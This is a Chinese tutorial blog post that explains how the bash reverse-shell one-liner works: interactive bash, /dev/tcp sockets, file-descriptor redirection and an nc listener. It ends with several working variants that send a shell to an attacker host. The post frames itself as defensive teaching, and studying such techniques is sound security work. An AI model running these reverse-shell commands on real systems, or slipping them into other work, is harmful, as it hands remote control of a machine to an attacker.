天天看点

反弹shell--bash一句话解析bash反弹shell解析拆分语句了解一下大合并

作者:小刚

一位苦于信息安全的萌新小白帽,记得关注给个赞,谢谢

本实验仅用于信息防御教学,切勿用于其它用途

反弹shell解析

  • bash反弹shell解析
    • 测试环境
  • 拆分语句了解一下
    • 交互式
    • 连接设备
    • 文件描述符
    • 合并输入输出
  • 大合并

bash反弹shell解析

最基础的反弹shell语句,这么久只会用,但不知道其中的奇妙之处

真是妙蛙种子被踢出了米奇妙妙屋。。。

bash -i >& /dev/tcp/192.168.1.1/6666 0>&1
           

测试环境

nc监听主机

IP:192.168.1.1

nc -lvvp 6666
           

进行反弹shell主机

IP:192.168.1.131

拆分语句了解一下

交互式

bash -i

是打开一个交互式的bash

马老师什么是交互式?有问,有答,训练有素(也就是有输入有输出)

#查询当前shell命令是哪一种
ls -l /bin/sh
           
反弹shell--bash一句话解析bash反弹shell解析拆分语句了解一下大合并
#查看是否是交互式
echo $- 
           
反弹shell--bash一句话解析bash反弹shell解析拆分语句了解一下大合并

连接设备

/dev/tcp/192.168.1.1/6666
           

是Linux中的一个特殊设备,也算个文件,打开这个就相当于对指定设备发出了一个socket连接

使用tcp进行建立socket连接,然后可以读写这个socket连接中的数据。

同理tcp改为udp,就是udp连接。

文件描述符

文件描述符,是用来控制bash命令从哪输入与输出到哪的特殊符号

标准输入(STDIN)  			代码0 			
重定向标准输入 				操作符<			默认输入是键盘

标准输出(STDOUT)				代码1			
重定向标准输出 				操作符>或者>>	默认输出显示器

标准错误输出(STDERR)			代码2		   
重定向错误标准输出 			操作符2>或者2>>   默认输出显示器

重定向标准输出和标准错误输出 	操作符&> 		将标准输出和错误输出定向到指定位置
           
bash -i > /dev/tcp/192.168.1.1/6666
#标准输出重定向为设备,没指定输入,所以默认从键盘输入命令,结果输出到指定的设备(攻击机)
           
反弹shell--bash一句话解析bash反弹shell解析拆分语句了解一下大合并
bash -i < /dev/tcp/192.168.1.1/6666
#标准输如重定向为设备,没指定标准输出,所以默认从屏幕输出结果,从指定设备(攻击机)输入命令
           
反弹shell--bash一句话解析bash反弹shell解析拆分语句了解一下大合并
bash -i < /dev/tcp/192.168.1.1/6666 > /dev/tcp/192.168.1.1/8888
#由于重定向了标准输如和输出,所以从指定设备(攻击机)6666端口输入指令,从指定设备(攻击机)8888端口输出结果
           
反弹shell--bash一句话解析bash反弹shell解析拆分语句了解一下大合并

代码2的标准错误输出又是啥?看下面俩语句:

bash -i > /dev/tcp/192.168.1.1/6666
bash -i 2> /dev/tcp/192.168.1.1/6666
           

第一个语句是标准输出重定向到设备,也就是命令语句成功执行,返回的结果在指定设备显示

第二个语句是标准错误输出重定向到设备,是命令执行失败,返回的报错显示在指定设备

第二句比方:输入ifconfig,成功执行,不会将结果显示在攻击机;输入ipconfig,执行失败,将执行失败返回的报错显示在攻击机。

合并输入输出

当然在使用的是,不管是正确错误,我们都想在指定设备输出,就可以使用合并

n>&m	将输出文件n重定向到m
n<&m	将输入文件n重定向到m
           

单独

>&

这个意思是重定向标准输出和标准错误输出到指定设备

2>&1

基本一样,但略有不同

bash -i 2>&1 > /dev/tcp/192.168.1.1/6666
bash -i > /dev/tcp/192.168.1.1/6666	2>&1
           

注意上面两个的差别:

1原本是屏幕,2也是屏幕,2定向到1还是屏幕,1然后定向到设备,2不会跟着1定向所以还是屏幕。

1原本是屏幕,定向到设备变成了设备,2又定向到1,所以跟着就定向到设备。

这点细微的差距有什么区别呢?

第一个语句,如果当你输入一条错误指令,会在被攻击主机显示报错内容

反弹shell--bash一句话解析bash反弹shell解析拆分语句了解一下大合并
第二个语句,不管你正确错误,都会显示在指定设备上
反弹shell--bash一句话解析bash反弹shell解析拆分语句了解一下大合并

然后输入与输出合并

bash -i > /dev/tcp/192.168.1.1/6666	0>&1
bash -i > /dev/tcp/192.168.1.1/6666	0<&1
           

1定向到设备,0是键盘,0定向到1,也就是定向到了设备

就成了我们要的结果,指定设备(攻击机)进行输入,指定设备(攻击机)进行输出

反弹shell--bash一句话解析bash反弹shell解析拆分语句了解一下大合并

大合并

懂了原理,反弹语句就千变万化了,只要全定向到设备就ok了。

bash -i >& /dev/tcp/192.168.1.1/6666 0>&1
bash -i > /dev/tcp/192.168.1.1/6666 2>&1 0>&1
bash -i < /dev/tcp/192.168.1.1/6666 2>&0 1>&0
           

继续阅读